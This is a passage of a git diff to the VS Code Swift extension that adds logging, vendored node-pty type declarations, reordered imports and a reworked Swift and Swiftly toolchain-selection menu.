key.`); return undefined; } @@ -881,24 +887,35 @@ export class SwiftToolchain { } /** @returns swift target info */ - private static async getSwiftTargetInfo(swiftExecutable: string): Promise { + private static async getSwiftTargetInfo( + swiftExecutable: string, + logger?: SwiftLogger + ): Promise { try { try { const { stdout } = await execSwift(["-print-target-info"], { swiftExecutable }); const targetInfo = JSON.parse(stdout.trimEnd()) as SwiftTargetInfo; + if (!targetInfo.target) { + logger?.warn( + `No target found in toolchain, targetInfo was: ${JSON.stringify(targetInfo)}` + ); + } + if (targetInfo.compilerVersion) { return targetInfo; } - } catch { + } catch (error) { // hit error while running `swift -print-target-info`. We are possibly running // a version of swift 5.3 or older + logger?.warn(`Error while running 'swift -print-target-info': ${error}`); } const { stdout } = await execSwift(["--version"], { swiftExecutable }); return { compilerVersion: stdout.split(lineBreakRegex, 1)[0], paths: { runtimeLibraryPaths: [""] }, }; - } catch { + } catch (error) { + logger?.warn(`Error while running 'swift --version': ${error}`); throw Error( "Failed to get swift version from either '-print-target-info' or '--version'." ); diff --git a/src/typings/node-pty.d.ts b/src/typings/node-pty.d.ts new file mode 100644 index 000000000..d53986940 --- /dev/null +++ b/src/typings/node-pty.d.ts @@ -0,0 +1,216 @@ +/** + * Copyright (c) 2017, Daniel Imms (MIT License). + * Copyright (c) 2018, Microsoft Corporation (MIT License). + */ + +// Downloaded from https://github.com/microsoft/node-pty/blob/main/typings/node-pty.d.ts + +declare module "node-pty" { + /** + * Forks a process as a pseudoterminal. + * @param file The file to launch. + * @param args The file's arguments as argv (string[]) or in a pre-escaped CommandLine format + * (string). Note that the CommandLine option is only available on Windows and is expected to be + * escaped properly. + * @param options The options of the terminal. + * @see CommandLineToArgvW https://msdn.microsoft.com/en-us/library/windows/desktop/bb776391(v=vs.85).aspx + * @see Parsing C++ Comamnd-Line Arguments https://msdn.microsoft.com/en-us/library/17w5ykft.aspx + * @see GetCommandLine https://msdn.microsoft.com/en-us/library/windows/desktop/ms683156.aspx + */ + export function spawn( + file: string, + args: string[] | string, + options: IPtyForkOptions | IWindowsPtyForkOptions + ): IPty; + + export interface IBasePtyForkOptions { + /** + * Name of the terminal to be set in environment ($TERM variable). + */ + name?: string; + + /** + * Number of intial cols of the pty. + */ + cols?: number; + + /** + * Number of initial rows of the pty. + */ + rows?: number; + + /** + * Working directory to be set for the child program. + */ + cwd?: string; + + /** + * Environment to be set for the child program. + */ + env?: { [key: string]: string | undefined }; + + /** + * String encoding of the underlying pty. + * If set, incoming data will be decoded to strings and outgoing strings to bytes applying this encoding. + * If unset, incoming data will be delivered as raw bytes (Buffer type). + * By default 'utf8' is assumed, to unset it explicitly set it to `null`. + */ + encoding?: string | null; + + /** + * (EXPERIMENTAL) + * Whether to enable flow control handling (false by default). If enabled a message of `flowControlPause` + * will pause the socket and thus blocking the child program execution due to buffer back pressure. + * A message of `flowControlResume` will resume the socket into flow mode. + * For performance reasons only a single message as a whole will match (no message part matching). + * If flow control is enabled the `flowControlPause` and `flowControlResume` messages are not forwarded to + * the underlying pseudoterminal. + */ + handleFlowControl?: boolean; + + /** + * (EXPERIMENTAL) + * The string that should pause the pty when `handleFlowControl` is true. Default is XOFF ('\x13'). + */ + flowControlPause?: string; + + /** + * (EXPERIMENTAL) + * The string that should resume the pty when `handleFlowControl` is true. Default is XON ('\x11'). + */ + flowControlResume?: string; + } + + export interface IPtyForkOptions extends IBasePtyForkOptions { + /** + * Security warning: use this option with great caution, + * as opened file descriptors with higher privileges might leak to the child program. + */ + uid?: number; + gid?: number; + } + + export interface IWindowsPtyForkOptions extends IBasePtyForkOptions { + /** + * Whether to use the ConPTY system on Windows. When this is not set, ConPTY will be used when + * the Windows build number is >= 18309 (instead of winpty). Note that ConPTY is available from + * build 17134 but is too unstable to enable by default. + * + * This setting does nothing on non-Windows. + */ + useConpty?: boolean; + + /** + * (EXPERIMENTAL) + * + * Whether to use the conpty.dll shipped with the node-pty package instead of the one built into + * Windows. Defaults to false. + */ + useConptyDll?: boolean; + + /** + * Whether to use PSEUDOCONSOLE_INHERIT_CURSOR in conpty. + * @see https://docs.microsoft.com/en-us/windows/console/createpseudoconsole + */ + conptyInheritCursor?: boolean; + } + + /** + * An interface representing a pseudoterminal, on Windows this is emulated via the winpty library. + */ + export interface IPty { + /** + * The process ID of the outer process. + */ + readonly pid: number; + + /** + * The column size in characters. + */ + readonly cols: number; + + /** + * The row size in characters. + */ + readonly rows: number; + + /** + * The title of the active process. + */ + readonly process: string; + + /** + * (EXPERIMENTAL) + * Whether to handle flow control. Useful to disable/re-enable flow control during runtime. + * Use this for binary data that is likely to contain the `flowControlPause` string by accident. + */ + handleFlowControl: boolean; + + /** + * Adds an event listener for when a data event fires. This happens when data is returned from + * the pty. + * @returns an `IDisposable` to stop listening. + */ + readonly onData: IEvent; + + /** + * Adds an event listener for when an exit event fires. This happens when the pty exits. + * @returns an `IDisposable` to stop listening. + */ + readonly onExit: IEvent<{ exitCode: number; signal?: number }>; + + /** + * Resizes the dimensions of the pty. + * @param columns The number of columns to use. + * @param rows The number of rows to use. + */ + resize(columns: number, rows: number): void; + + /** + * Clears the pty's internal representation of its buffer. This is a no-op + * unless on Windows/ConPTY. This is useful if the buffer is cleared on the + * frontend in order to synchronize state with the backend to avoid ConPTY + * possibly reprinting the screen. + */ + clear(): void; + + /** + * Writes data to the pty. + * @param data The data to write. + */ + write(data: string): void; + + /** + * Kills the pty. + * @param signal The signal to use, defaults to SIGHUP. This parameter is not supported on + * Windows. + * @throws Will throw when signal is used on Windows. + */ + kill(signal?: string): void; + + /** + * Pauses the pty for customizable flow control. + */ + pause(): void; + + /** + * Resumes the pty for customizable flow control. + */ + resume(): void; + } + + /** + * An object that can be disposed via a dispose function. + */ + export interface IDisposable { + dispose(): void; + } + + /** + * An event that can be listened to. + * @returns an `IDisposable` to stop listening. + */ + export interface IEvent { + (listener: (e: T) => any): IDisposable; + } +} diff --git a/src/ui/LanguageStatusItems.ts b/src/ui/LanguageStatusItems.ts index a8f0e32ae..746e04592 100644 --- a/src/ui/LanguageStatusItems.ts +++ b/src/ui/LanguageStatusItems.ts @@ -11,12 +11,12 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; import { Command } from "vscode-languageclient"; -import { WorkspaceContext, FolderOperation } from "../WorkspaceContext"; -import { LanguagerClientDocumentSelectors } from "../sourcekit-lsp/LanguageClientConfiguration"; + +import { FolderOperation, WorkspaceContext } from "../WorkspaceContext"; import { Commands } from "../commands"; +import { LanguagerClientDocumentSelectors } from "../sourcekit-lsp/LanguageClientConfiguration"; export class LanguageStatusItems implements vscode.Disposable { constructor(workspaceContext: WorkspaceContext) { diff --git a/src/ui/ProjectPanelProvider.ts b/src/ui/ProjectPanelProvider.ts index bc087eca8..7e6615697 100644 --- a/src/ui/ProjectPanelProvider.ts +++ b/src/ui/ProjectPanelProvider.ts @@ -11,21 +11,20 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; +import { convertPathToPattern, glob } from "fast-glob"; +import { existsSync } from "fs"; import * as fs from "fs/promises"; import * as path from "path"; -import configuration from "../configuration"; +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { Dependency, ResolvedDependency, Target } from "../SwiftPackage"; import { WorkspaceContext } from "../WorkspaceContext"; import { FolderOperation } from "../WorkspaceContext"; -import contextKeys from "../contextKeys"; -import { Dependency, ResolvedDependency, Target } from "../SwiftPackage"; -import { FolderContext } from "../FolderContext"; -import { getPlatformConfig, resolveTaskCwd } from "../utilities/tasks"; +import configuration from "../configuration"; import { SwiftTask, TaskPlatformSpecificConfig } from "../tasks/SwiftTaskProvider"; -import { convertPathToPattern, glob } from "fast-glob"; +import { getPlatformConfig, resolveTaskCwd } from "../utilities/tasks"; import { Version } from "../utilities/version"; -import { existsSync } from "fs"; const LOADING_ICON = "loading~spin"; @@ -165,15 +164,13 @@ export class PackageNode { } async getChildren(): Promise { - const [childDeps, files] = await Promise.all([ - this.childDependencies(this.dependency), - getChildren( - this.dependency.path, - excludedFilesForProjectPanelExplorer(), - this.id, - this.fs - ), - ]); + const childDeps = this.childDependencies(this.dependency); + const files = await getChildren( + this.dependency.path, + excludedFilesForProjectPanelExplorer(), + this.id, + this.fs + ); const childNodes = childDeps.map( dep => new PackageNode(dep, this.childDependencies, this.id) ); @@ -485,15 +482,17 @@ export class ProjectPanelProvider implements vscode.TreeDataProvider { constructor(private workspaceContext: WorkspaceContext) { // default context key to false. These will be updated as folders are given focus - contextKeys.hasPackage = false; - contextKeys.hasExecutableProduct = false; - contextKeys.packageHasDependencies = false; + workspaceContext.contextKeys.hasPackage = false; + workspaceContext.contextKeys.hasExecutableProduct = false; + workspaceContext.contextKeys.packageHasDependencies = false; this.observeTasks(workspaceContext); } dispose() { this.workspaceObserver?.dispose(); + this.disposables.forEach(d => d.dispose()); + this.disposables.length = 0; } observeTasks(ctx: WorkspaceContext) { @@ -503,11 +502,17 @@ export class ProjectPanelProvider implements vscode.TreeDataProvider { vscode.tasks.onDidStartTask(e => { const taskId = e.execution.task.detail ?? e.execution.task.name; this.activeTasks.add(taskId); + this.workspaceContext.logger.info( + `Project panel updating after task ${taskId} has started` + ); this.didChangeTreeDataEmitter.fire(); }), vscode.tasks.onDidEndTask(e => { const taskId = e.execution.task.detail ?? e.execution.task.name; this.activeTasks.delete(taskId); + this.workspaceContext.logger.info( + `Project panel updating after task ${taskId} has ended` + ); this.didChangeTreeDataEmitter.fire(); }), ctx.onDidStartBuild(e => { @@ -516,6 +521,7 @@ export class ProjectPanelProvider implements vscode.TreeDataProvider { } else { this.activeTasks.add(e.targetName); } + this.workspaceContext.logger.info("Project panel updating after build has started"); this.didChangeTreeDataEmitter.fire(); }), ctx.onDidFinishBuild(e => { @@ -524,18 +530,25 @@ export class ProjectPanelProvider implements vscode.TreeDataProvider { } else { this.activeTasks.delete(e.targetName); } + this.workspaceContext.logger.info( + "Project panel updating after build has finished" + ); this.didChangeTreeDataEmitter.fire(); }), ctx.onDidStartTests(e => { for (const target of e.targets) { this.activeTasks.add(testTaskName(target)); } + this.workspaceContext.logger.info("Project panel updating on test run start"); this.didChangeTreeDataEmitter.fire(); }), ctx.onDidFinishTests(e => { for (const target of e.targets) { this.activeTasks.delete(testTaskName(target)); } + this.workspaceContext.logger.info( + "Project panel updating after test run has finished" + ); this.didChangeTreeDataEmitter.fire(); }) ); @@ -546,6 +559,9 @@ export class ProjectPanelProvider implements vscode.TreeDataProvider { e.affectsConfiguration("files.exclude") || e.affectsConfiguration("swift.excludePathsFromPackageDependencies") ) { + this.workspaceContext.logger.info( + "Project panel updating due to configuration changes" + ); this.didChangeTreeDataEmitter.fire(); } }) @@ -562,10 +578,16 @@ export class ProjectPanelProvider implements vscode.TreeDataProvider { } this.watchBuildPluginOutputs(folder); treeView.title = `Swift Project (${folder.name})`; + this.workspaceContext.logger.info( + `Project panel updating, focused folder ${folder.name}` + ); this.didChangeTreeDataEmitter.fire(); break; case FolderOperation.unfocus: treeView.title = `Swift Project`; + this.workspaceContext.logger.info( + `Project panel updating, unfocused folder` + ); this.didChangeTreeDataEmitter.fire(); break; case FolderOperation.workspaceStateUpdated: @@ -573,9 +595,15 @@ export class ProjectPanelProvider implements vscode.TreeDataProvider { case FolderOperation.packageViewUpdated: case FolderOperation.pluginsUpdated: if (!folder) { + this.workspaceContext.logger.info( + `Project panel cannot update, "${operation}" event was provided with no folder.` + ); return; } if (folder === this.workspaceContext.currentFolder) { + this.workspaceContext.logger.info( + `Project panel updating, "${operation}" for folder ${folder.name}` + ); this.didChangeTreeDataEmitter.fire(); } } @@ -686,9 +714,15 @@ export class ProjectPanelProvider implements vscode.TreeDataProvider { if (!folderContext) { return []; } + this.workspaceContext.logger.info("Project panel refreshing dependencies"); const pkg = folderContext.swiftPackage; const rootDeps = await pkg.rootDependencies; - if (contextKeys.flatDependenciesList) { + + rootDeps.forEach(dep => { + this.workspaceContext.logger.info(`\tAdding dependency: ${dep.identity}`); + }); + + if (this.workspaceContext.contextKeys.flatDependenciesList) { const existenceMap = new Map(); const gatherChildren = (dependencies: ResolvedDependency[]): ResolvedDependency[] => { const result: ResolvedDependency[] = []; @@ -826,6 +860,7 @@ class TaskPoller implements vscode.Disposable { dispose() { if (this.timeout) { clearTimeout(this.timeout); + this.timeout = undefined; } } } diff --git a/src/ui/ReadOnlyDocumentProvider.ts b/src/ui/ReadOnlyDocumentProvider.ts index 9c4cfcc90..1674378eb 100644 --- a/src/ui/ReadOnlyDocumentProvider.ts +++ b/src/ui/ReadOnlyDocumentProvider.ts @@ -11,9 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as fs from "fs/promises"; +import * as vscode from "vscode"; /** * Registers a {@link vscode.TextDocumentContentProvider TextDocumentContentProvider} that will display diff --git a/src/ui/ReloadExtension.ts b/src/ui/ReloadExtension.ts index a23de1628..e02157656 100644 --- a/src/ui/ReloadExtension.ts +++ b/src/ui/ReloadExtension.ts @@ -11,9 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { Workbench } from "../utilities/commands"; + // eslint-disable-next-line @typescript-eslint/no-require-imports import debounce = require("lodash.debounce"); diff --git a/src/ui/SelectFolderQuickPick.ts b/src/ui/SelectFolderQuickPick.ts index ed97d8cf7..fce83ee70 100644 --- a/src/ui/SelectFolderQuickPick.ts +++ b/src/ui/SelectFolderQuickPick.ts @@ -11,10 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import { WorkspaceContext } from "../WorkspaceContext"; import * as vscode from "vscode"; + import { FolderContext } from "../FolderContext"; +import { WorkspaceContext } from "../WorkspaceContext"; type SelectFolderQuickPick = AllQuickPickItem | FolderQuickPickItem; diff --git a/src/ui/StatusItem.ts b/src/ui/StatusItem.ts index a40858885..cbea6aa89 100644 --- a/src/ui/StatusItem.ts +++ b/src/ui/StatusItem.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; export class RunningTask { diff --git a/src/ui/SwiftBuildStatus.ts b/src/ui/SwiftBuildStatus.ts index 7e08f280c..b90a48ef5 100644 --- a/src/ui/SwiftBuildStatus.ts +++ b/src/ui/SwiftBuildStatus.ts @@ -11,14 +11,15 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -// eslint-disable-next-line @typescript-eslint/no-require-imports -import stripAnsi = require("strip-ansi"); import * as vscode from "vscode"; + import configuration, { ShowBuildStatusOptions } from "../configuration"; -import { RunningTask, StatusItem } from "./StatusItem"; import { SwiftExecution } from "../tasks/SwiftExecution"; import { checkIfBuildComplete, lineBreakRegex } from "../utilities/tasks"; +import { RunningTask, StatusItem } from "./StatusItem"; + +// eslint-disable-next-line @typescript-eslint/no-require-imports +import stripAnsi = require("strip-ansi"); /** * Progress of `swift` build, parsed from the diff --git a/src/ui/SwiftOutputChannel.ts b/src/ui/SwiftOutputChannel.ts deleted file mode 100644 index 82ae15d46..000000000 --- a/src/ui/SwiftOutputChannel.ts +++ /dev/null @@ -1,165 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VS Code Swift open source project -// -// Copyright (c) 2021 the VS Code Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VS Code Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; -import configuration from "../configuration"; -import { IS_RUNNING_IN_CI } from "../utilities/utilities"; - -export class SwiftOutputChannel implements vscode.OutputChannel { - private channel: vscode.OutputChannel; - private logStore: RollingLog; - - /** - * Creates a vscode.OutputChannel that allows for later retrival of logs. - * @param name - */ - constructor( - public name: string, - logStoreLinesSize: number = 250_000 // default to capturing 250k log lines - ) { - this.name = name; - this.channel = vscode.window.createOutputChannel(name, "Swift"); - this.logStore = new RollingLog(logStoreLinesSize); - } - - append(value: string): void { - this.channel.append(value); - this.logStore.append(value); - } - - appendLine(value: string): void { - this.channel.appendLine(value); - this.logStore.appendLine(value); - } - - replace(value: string): void { - this.channel.replace(value); - this.logStore.replace(value); - } - - clear(): void { - this.channel.clear(); - this.logStore.clear(); - } - - show(_column?: unknown, preserveFocus?: boolean | undefined): void { - this.channel.show(preserveFocus); - } - - hide(): void { - this.channel.hide(); - } - - dispose() { - this.channel.dispose(); - this.logStore.dispose(); - } - - log(message: string, label?: string) { - let fullMessage: string; - if (label !== undefined) { - fullMessage = `${label}: ${message}`; - } else { - fullMessage = message; - } - this.appendLine(`${this.nowFormatted}: ${fullMessage}`); - } - - logDiagnostic(message: string, label?: string) { - if (!configuration.diagnostics && !IS_RUNNING_IN_CI) { - return; - } - const fullMessage = label !== undefined ? `${label}: ${message}` : message; - this.appendLine(`${this.nowFormatted}: ${fullMessage}`); - } - - get nowFormatted(): string { - return new Date().toLocaleString("en-US", { - hourCycle: "h23", - hour: "2-digit", - minute: "numeric", - second: "numeric", - }); - } - - get logs(): string[] { - return this.logStore.logs; - } -} - -class RollingLog implements vscode.Disposable { - private _logs: (string | null)[]; - private startIndex: number = 0; - private endIndex: number = 0; - private logCount: number = 0; - - constructor(private maxLogs: number) { - this._logs = new Array(maxLogs).fill(null); - } - - public get logs(): string[] { - const logs: string[] = []; - for (let i = 0; i < this.logCount; i++) { - logs.push(this._logs[(this.startIndex + i) % this.maxLogs]!); - } - return logs; - } - - private incrementIndex(index: number): number { - return (index + 1) % this.maxLogs; - } - - dispose() { - this.clear(); - } - - clear() { - this._logs = new Array(this.maxLogs).fill(null); - this.startIndex = 0; - this.endIndex = 0; - this.logCount = 0; - } - - appendLine(log: string) { - // Writing to a new line that isn't the very first, increment the end index - if (this.logCount > 0) { - this.endIndex = this.incrementIndex(this.endIndex); - } - - // We're over the window size, move the start index - if (this.logCount === this.maxLogs) { - this.startIndex = this.incrementIndex(this.startIndex); - } else { - this.logCount++; - } - - this._logs[this.endIndex] = log; - } - - append(log: string) { - if (this.logCount === 0) { - this.logCount = 1; - } - const newLogLine = (this._logs[this.endIndex] ?? "") + log; - this._logs[this.endIndex] = newLogLine; - } - - replace(log: string) { - this._logs = new Array(this.maxLogs).fill(null); - this._logs[0] = log; - this.startIndex = 0; - this.endIndex = 1; - this.logCount = 1; - } -} diff --git a/src/ui/ToolchainSelection.ts b/src/ui/ToolchainSelection.ts index 9cff98ebb..9b2d00dd4 100644 --- a/src/ui/ToolchainSelection.ts +++ b/src/ui/ToolchainSelection.ts @@ -11,19 +11,22 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as path from "path"; -import { showReloadExtensionNotification } from "./ReloadExtension"; -import { SwiftToolchain } from "../toolchain/toolchain"; -import configuration from "../configuration"; +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; import { Commands } from "../commands"; +import configuration from "../configuration"; +import { SwiftLogger } from "../logging/SwiftLogger"; import { Swiftly } from "../toolchain/swiftly"; +import { SwiftToolchain } from "../toolchain/toolchain"; +import { isEmptyObject } from "../utilities/utilities"; +import { showReloadExtensionNotification } from "./ReloadExtension"; /** * Open the installation page on Swift.org */ -export async function downloadToolchain() { +async function downloadToolchain() { if (await vscode.env.openExternal(vscode.Uri.parse("https://www.swift.org/install"))) { const selected = await showReloadExtensionNotification( "The Swift extension must be reloaded once you have downloaded and installed the new toolchain.", @@ -38,7 +41,7 @@ export async function downloadToolchain() { /** * Open the installation page for Swiftly */ -export async function installSwiftly() { +async function installSwiftly() { if (await vscode.env.openExternal(vscode.Uri.parse("https://www.swift.org/install/"))) { const selected = await showReloadExtensionNotification( "The Swift extension must be reloaded once you have downloaded and installed the new toolchain.", @@ -54,7 +57,7 @@ export async function installSwiftly() { * Prompt the user to select a folder where they have installed the swift toolchain. * Updates the swift.path configuration with the selected folder. */ -export async function selectToolchainFolder() { +async function selectToolchainFolder() { const selected = await vscode.window.showOpenDialog({ canSelectFiles: false, canSelectFolders: true, @@ -65,32 +68,59 @@ export async function selectToolchainFolder() { if (!selected || selected.length !== 1) { return; } - await setToolchainPath(selected[0].fsPath); + await setToolchainPath({ + category: "public", + swiftFolderPath: selected[0].fsPath, + }); } /** * Displays an error notification to the user that toolchain discovery failed. + * @returns true if the user made a selection (and potentially updated toolchain settings), false if they dismissed the dialog */ -export async function showToolchainError(): Promise { +export async function showToolchainError(folder?: vscode.Uri): Promise { let selected: "Remove From Settings" | "Select Toolchain" | undefined; + const folderName = folder ? `${FolderContext.uriName(folder)}: ` : ""; if (configuration.path) { selected = await vscode.window.showErrorMessage( - `The Swift executable at "${configuration.path}" either could not be found or failed to launch. Please select a new toolchain.`, + `${folderName}The Swift executable at "${configuration.path}" either could not be found or failed to launch. Please select a new toolchain.`, "Remove From Settings", "Select Toolchain" ); } else { selected = await vscode.window.showErrorMessage( - "Unable to automatically discover your Swift toolchain. Either install a toolchain from Swift.org or provide the path to an existing toolchain.", + `${folderName}Unable to automatically discover your Swift toolchain. Either install a toolchain from Swift.org or provide the path to an existing toolchain.`, "Select Toolchain" ); } if (selected === "Remove From Settings") { await removeToolchainPath(); + return true; } else if (selected === "Select Toolchain") { await selectToolchain(); + return true; } + return false; +} + +/** + * Shows a dialog asking user permission to install a missing Swiftly toolchain + * @param version The toolchain version to install + * @param folder Optional folder context for the error + * @returns Promise true if user agrees to install, false otherwise + */ +export async function showMissingToolchainDialog( + version: string, + folder?: vscode.Uri +): Promise { + const folderName = folder ? `${FolderContext.uriName(folder)}: ` : ""; + const message = + `${folderName}Swift version ${version} is required but not installed. ` + + `Would you like to automatically install it using Swiftly?`; + + const choice = await vscode.window.showWarningMessage(message, "Install Toolchain", "Cancel"); + return choice === "Install Toolchain"; } export async function selectToolchain() { @@ -103,7 +133,7 @@ type SwiftToolchainItem = PublicSwiftToolchainItem | XcodeToolchainItem | Swiftl /** Common properties for a {@link vscode.QuickPickItem} that represents a Swift toolchain */ interface BaseSwiftToolchainItem extends vscode.QuickPickItem { type: "toolchain"; - onDidSelect?(): Promise; + onDidSelect?(target: vscode.ConfigurationTarget): Promise; } /** A {@link vscode.QuickPickItem} for a Swift toolchain that has been installed manually */ @@ -121,17 +151,18 @@ interface XcodeToolchainItem extends BaseSwiftToolchainItem { swiftFolderPath: string; } +/** A {@link vscode.QuickPickItem} for a Swift toolchain provided by Swiftly */ +interface SwiftlyToolchainItem extends BaseSwiftToolchainItem { + category: "swiftly"; + version: string; +} + /** A {@link vscode.QuickPickItem} that performs an action for the user */ interface ActionItem extends vscode.QuickPickItem { type: "action"; run(): Promise; } -interface SwiftlyToolchainItem extends BaseSwiftToolchainItem { - category: "swiftly"; - version: string; -} - /** A {@link vscode.QuickPickItem} that separates items in the UI */ class SeparatorItem implements vscode.QuickPickItem { readonly type = "separator"; @@ -149,16 +180,20 @@ type SelectToolchainItem = SwiftToolchainItem | ActionItem | SeparatorItem; /** * Retrieves all {@link SelectToolchainItem} that are available on the system. * - * @param ctx the {@link WorkspaceContext} * @returns an array of {@link SelectToolchainItem} + * @param activeToolchain + * @param logger + * @param cwd */ async function getQuickPickItems( activeToolchain: SwiftToolchain | undefined, + logger: SwiftLogger, cwd?: vscode.Uri ): Promise { // Find any Xcode installations on the system const xcodes = (await SwiftToolchain.findXcodeInstalls()) - .reverse() + // Sort in descending order alphabetically + .sort((a, b) => -a.localeCompare(b)) .map(xcodePath => { const toolchainPath = path.join( xcodePath, @@ -179,8 +214,9 @@ async function getQuickPickItems( }; }); // Find any public Swift toolchains on the system - const toolchains = (await SwiftToolchain.getToolchainInstalls()) - .reverse() + const publicToolchains = (await SwiftToolchain.getToolchainInstalls()) + // Sort in descending order alphabetically + .sort((a, b) => -a.localeCompare(b)) .map(toolchainPath => { const result: SwiftToolchainItem = { type: "toolchain", @@ -200,51 +236,64 @@ async function getQuickPickItems( } return result; }); + // Find any Swift toolchains installed via Swiftly - const swiftlyToolchains = (await Swiftly.listAvailableToolchains()) - .reverse() - .map(toolchainPath => ({ + const swiftlyToolchains = (await Swiftly.list(logger)).map( + toolchainPath => ({ type: "toolchain", label: path.basename(toolchainPath), category: "swiftly", version: path.basename(toolchainPath), - onDidSelect: async () => { + onDidSelect: async target => { try { - await Swiftly.use(toolchainPath); + const version = path.basename(toolchainPath); + if (target === vscode.ConfigurationTarget.Global) { + await Swiftly.use(version); + } else { + await Promise.all( + vscode.workspace.workspaceFolders?.map(async folder => { + await Swiftly.use(version, folder.uri.fsPath); + }) ?? [] + ); + } void showReloadExtensionNotification( "Changing the Swift path requires Visual Studio Code be reloaded." ); } catch (error) { + logger.error(error); void vscode.window.showErrorMessage( `Failed to switch Swiftly toolchain: ${error}` ); } }, - })); - // Mark which toolchain is being actively used + }) + ); + if (activeToolchain) { const currentSwiftlyVersion = activeToolchain.isSwiftlyManaged ? await Swiftly.inUseVersion("swiftly", cwd) : undefined; - const toolchainInUse = [...xcodes, ...toolchains, ...swiftlyToolchains].find(toolchain => { - if (currentSwiftlyVersion) { - if (toolchain.category !== "swiftly") { - return false; - } + const toolchainInUse = [...xcodes, ...publicToolchains, ...swiftlyToolchains].find( + toolchain => { + if (currentSwiftlyVersion) { + if (toolchain.category !== "swiftly") { + return false; + } - // For Swiftly toolchains, check if the label matches the active toolchain version - return currentSwiftlyVersion === toolchain.label; + // For Swiftly toolchains, check if the label matches the active toolchain version + return currentSwiftlyVersion === toolchain.label; + } + // For non-Swiftly toolchains, check if the toolchain path matches + return ( + (toolchain as PublicSwiftToolchainItem | XcodeToolchainItem).toolchainPath === + activeToolchain.toolchainPath + ); } - // For non-Swiftly toolchains, check if the toolchain path matches - return ( - (toolchain as PublicSwiftToolchainItem | XcodeToolchainItem).toolchainPath === - activeToolchain.toolchainPath - ); - }); + ); if (toolchainInUse) { toolchainInUse.description = "$(check) in use"; } else { - toolchains.splice(0, 0, { + publicToolchains.splice(0, 0, { type: "toolchain", category: "public", label: `Swift ${activeToolchain.swiftVersion.toString()}`, @@ -256,52 +305,91 @@ async function getQuickPickItems( } } // Various actions that the user can perform (e.g. to install new toolchains) - const actionItems: ActionItem[] = []; - if (process.platform === "linux" || process.platform === "darwin") { - const platformName = process.platform === "linux" ? "Linux" : "macOS"; - actionItems.push({ + const actionItems: ActionItem[] = [ + ...(await getSwiftlyActions()), + { type: "action", - label: "$(swift-icon) Install Swiftly for toolchain management...", - detail: `Install https://swiftlang.github.io/swiftly to manage your toolchains on ${platformName}`, - run: installSwiftly, - }); - } - actionItems.push({ - type: "action", - label: "$(cloud-download) Download from Swift.org...", - detail: "Open https://swift.org/install to download and install a toolchain", - run: downloadToolchain, - }); - actionItems.push({ - type: "action", - label: "$(folder-opened) Select toolchain directory...", - detail: "Select a folder on your machine where the Swift toolchain is installed", - run: selectToolchainFolder, - }); + label: "$(cloud-download) Download from Swift.org...", + detail: "Open https://swift.org/install to download and install a toolchain", + run: downloadToolchain, + }, + { + type: "action", + label: "$(folder-opened) Select toolchain directory...", + detail: "Select a folder on your machine where the Swift toolchain is installed", + run: selectToolchainFolder, + }, + ]; + return [ - ...(xcodes.length > 0 ? [new SeparatorItem("Xcode"), ...xcodes] : []), - ...(toolchains.length > 0 ? [new SeparatorItem("toolchains"), ...toolchains] : []), ...(swiftlyToolchains.length > 0 ? [new SeparatorItem("swiftly"), ...swiftlyToolchains] : []), + ...(xcodes.length > 0 ? [new SeparatorItem("Xcode"), ...xcodes] : []), + ...(publicToolchains.length > 0 + ? [new SeparatorItem("toolchains"), ...publicToolchains] + : []), new SeparatorItem("actions"), ...actionItems, ]; } +async function getSwiftlyActions(): Promise { + if (!Swiftly.isSupported()) { + return []; + } + if (!(await Swiftly.isInstalled())) { + const platformName = process.platform === "linux" ? "Linux" : "macOS"; + return [ + { + type: "action", + label: "$(swift-icon) Install Swiftly for toolchain management...", + detail: `Install https://swiftlang.github.io/swiftly to manage your toolchains on ${platformName}`, + run: installSwiftly, + }, + ]; + } + // We only support installing toolchains via Swiftly starting in Swiftly 1.1.0 + const swiftlyVersion = await Swiftly.version(); + if (swiftlyVersion?.isLessThan({ major: 1, minor: 1, patch: 0 })) { + return []; + } + return [ + { + type: "action", + label: "$(cloud-download) Install Swiftly toolchain...", + detail: "Install a Swift stable release toolchain via Swiftly", + run: async () => { + await vscode.commands.executeCommand(Commands.INSTALL_SWIFTLY_TOOLCHAIN); + }, + }, + { + type: "action", + label: "$(beaker) Install Swiftly snapshot toolchain...", + detail: "Install a Swift snapshot toolchain via Swiftly from development builds", + run: async () => { + await vscode.commands.executeCommand(Commands.INSTALL_SWIFTLY_SNAPSHOT_TOOLCHAIN); + }, + }, + ]; +} + /** * Prompt the user to select or install a swift toolchain. Updates the swift.path configuration * with the user's selection. * * @param activeToolchain the {@link WorkspaceContext} + * @param logger + * @param cwd */ export async function showToolchainSelectionQuickPick( activeToolchain: SwiftToolchain | undefined, + logger: SwiftLogger, cwd?: vscode.Uri ) { let xcodePaths: string[] = []; - const selected = await vscode.window.showQuickPick( - getQuickPickItems(activeToolchain, cwd).then(result => { + const selectedToolchain = await vscode.window.showQuickPick( + getQuickPickItems(activeToolchain, logger, cwd).then(result => { xcodePaths = result .filter((i): i is XcodeToolchainItem => "category" in i && i.category === "xcode") .map(xcode => xcode.xcodePath); @@ -313,74 +401,54 @@ export async function showToolchainSelectionQuickPick( canPickMany: false, } ); - if (selected?.type === "action") { - return await selected.run(); + if (selectedToolchain?.type === "action") { + return await selectedToolchain.run(); } - if (selected?.type === "toolchain") { + if 